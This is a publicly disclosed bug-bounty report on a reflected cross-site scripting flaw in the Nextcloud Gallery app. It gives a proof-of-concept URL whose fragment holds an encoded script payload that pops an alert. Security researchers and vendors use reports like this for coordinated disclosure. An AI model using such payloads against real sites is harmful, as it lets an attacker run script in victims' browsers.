Nextcloud · Report #165686

Reflected XSS in Gallery App

Validstatus

mediumseverity

7upvotes

3 Dec 2016disclosed

How it was found

Go to: nextcloud/index.php/apps/gallery/#%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3Ejavascript:alert%280%29//%00

Tested on: Firefox 43.0.1

If you need more information then write me.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original